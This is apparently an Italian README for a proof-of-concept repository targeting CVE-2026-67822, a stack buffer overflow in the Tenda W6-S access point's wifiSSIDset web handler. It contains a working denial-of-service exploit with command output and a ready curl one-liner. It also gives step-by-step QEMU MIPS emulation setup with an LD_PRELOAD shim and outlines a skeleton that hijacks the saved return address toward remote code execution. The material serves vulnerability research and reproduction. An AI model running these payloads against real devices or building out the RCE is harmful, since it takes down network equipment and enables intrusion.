
PoC per lo stack overflow CVE-2026-67822 in Tenda W6-S /goform/wifiSSIDset: riproduttore DoS, shim QEMU MIPS e scheletro concettuale di payload RCE.
wifiSSIDset Stack Buffer Overflow (PoC)PoC complementare all'articolo di Hunt-Benito
"GO Without Bounds: CVE-2026-67822 — Stack Overflow in Tenda W6-S's wifiSSIDset Form Handler".
CVE-2026-67822 (CVSS 9.8 Critical, CWE-121) è un buffer overflow basato su stack
in formwrlSSIDset(), la funzione C dietro l'endpoint /goform/wifiSSIDset del
punto di accesso wireless Tenda W6-S, /bin/httpd (un web server derivato da GoAhead).
char v34[64]; /* 64-byte stack buffer */
GO = websGetVar(a1, "GO", "wireless_basic.asp");
index = websGetVar(a1, "index", "0");
sprintf(v34, "/%s?index=%s", GO, index); /* unbounded -> stack overflow */
Impatto confermato: denial of service (crash di httpd).
Impatto potenziale: esecuzione di codice remota (MIPS, senza stack canary / senza ASLR nella build).
Contro un W6-S reale (IP LAN predefinito 192.168.5.10) o un'istanza emulata:
$ python3 poc_dos.py --target http://192.168.5.10
[*] Target : http://192.168.5.10/goform/wifiSSIDset
[*] Payload : GO = 2000 bytes ('A'), index = 0
[*] Sending POST...
[+] HTTP response: 200 (httpd accepted the request before crashing)
[*] Re-probing the management interface...
[!] httpd no longer responds (connection refused) — service crashed.
[+] Result: denial of service CONFIRMED.
Equivalente in una sola riga:
$ curl -s http://192.168.5.10/goform/wifiSSIDset \
-d "GO=$(python3 -c "print('A'*2000)")&wl_radio=0&index=0"
Dopo che la richiesta viene evasa, l'interfaccia di gestione rimane inattiva fino a un power-cycle.
fake_apmib.so)/bin/httpd si aspetta hardware Tenda reale (libapmib.so, il demone cfmd, un MAC
LAN). Lo shim fake_apmib.c simula abbastanza di questi elementi per far avviare
httpd all'interno di un filesystem firmware emulato. La configurazione rispecchia
la tecnica del ricercatore originale.
$ mips-linux-gnu-gcc -shared -fPIC -o fake_apmib.so fake_apmib.c
$ sudo brctl addbr virbr0
$ sudo ifconfig virbr0 192.168.5.1/24 up
$ sudo tunctl -t tap0
$ sudo ifconfig tap0 192.168.5.11/24 up
$ sudo brctl addif virbr0 tap0
$ sudo qemu-system-mips -M malta \
-kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_wheezy_mips_standard.qcow2 \
-append "root=/dev/sda1" \
-netdev tap,id=tapnet,ifname=tap0,script=no \
-device rtl8139,netdev=tapnet \
-nographic
guest# ifconfig eth0 192.168.5.10
# copy the extracted firmware filesystem + the shim onto the guest
$ scp ./squashfs-root.tar.gz [email protected]:/root/
$ scp ./fake_apmib.so [email protected]:/root/squashfs-root/
httpd con lo shimguest# mount -o bind /proc ./squashfs-root/proc
guest# mount -o bind /dev ./squashfs-root/dev
guest# rm ./squashfs-root/webroot && ln -s /webroot_ro ./squashfs-root/webroot
guest# chroot ./squashfs-root/ /bin/sh
chroot# mkdir -p /var/run /tmp && chmod 1777 /tmp
chroot# LD_PRELOAD=/fake_apmib.so /bin/httpd &
L'interfaccia di gestione è ora raggiungibile all'indirizzo http://192.168.5.10
(login predefinito admin / admin) e poc_dos.py funziona contro di essa esattamente
come su hardware reale.
I prototipi esatti degli helper interni
apmib/cfmddi Tenda variano tra le diverse build del firmware. Verificateli sullalibapmib.soreale del vostro target (objdump -T libapmib.so/ IDA) e adattatefake_apmib.cdi conseguenza.
exploit_conceptual.py documenta la forma dello sfruttamento oltre il DoS:
# 1) Find the offset from the GO buffer to saved $ra on YOUR firmware build
$ python3 exploit_conceptual.py --target http://192.168.5.10 probe --len 256
# (read the faulting $ra / PC from the QEMU crash dump or a gdb stub, then
# feed it to cyclic_offset() to recover the exact offset)
# 2) Build a payload that overwrites $ra with a chosen address
$ python3 exploit_conceptual.py --target http://192.168.5.10 build --offset <N> --ra 0x<AABBCCDD>
Questo scheletro reindirizza solo $ra. Trasformare il dirottamento in una reale
esecuzione di codice richiede o shellcode su stack non-NX o una catena ROP assemblata da
gadget nell'immagine firmware specifica — entrambi specifici della build e volutamente
lasciati al ricercatore. Il DoS è confermato; la RCE è il caso peggiore plausibile
che il vettore CVSS (C:H/I:H) riflette.
Questo codice è destinato esclusivamente alla ricerca sulla sicurezza autorizzata. Eseguilo solo contro dispositivi di tua proprietà o per i quali hai esplicito permesso scritto di test. Non usarlo contro reti o hardware che non controlli.
| Prodotto interessato | Punto di accesso wireless Tenda W6-S |
| Firmware interessato | v1.0.0.4(510) |
| CVSS v3.1 | 9.8 Critico (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-121 (Buffer overflow basato su stack) |
| Endpoint vulnerabile | POST /goform/wifiSSIDset (parametri GO, index) |
| Scopritore / credito | trister |
| File | Scopo |
|---|
poc_dos.py | Riproduttore DoS confermato. Invia un parametro GO sovradimensionato e rileva il conseguente crash di httpd. Solo libreria standard — nessuna dipendenza. |
exploit_conceptual.py | Scheletro concettuale per RCE. Mostra la forma del dirottamento del flusso di controllo (riempimento fino al $ra salvato, sovrascrittura) e un helper a pattern ciclico per derivare empiricamente l'offset verso $ra. Non include shellcode funzionante né indirizzi di gadget. |
fake_apmib.c | Shim LD_PRELOAD che simula le chiamate hardware/MIB di Tenda per far avviare /bin/httpd in un guest QEMU MIPS — la tecnica usata per riprodurre il bug senza un dispositivo fisico. |
| Intercettazioni dello shim | Valore restituito | Motivo |
|---|
apmib_init() | 1 | salta l'inizializzazione hardware/MIB |
ConnectCfm() | 1 | simula la risposta del demone cfmd |
GetValue("lan.ip", …) | 192.168.5.10 | IP di gestione statico |
ioctl(SIOCGIFHWADDR) | 00:11:22:33:44:55 | MAC fittizio |
connect() | passthrough | consente la risoluzione delle connessioni unix-socket/TCP |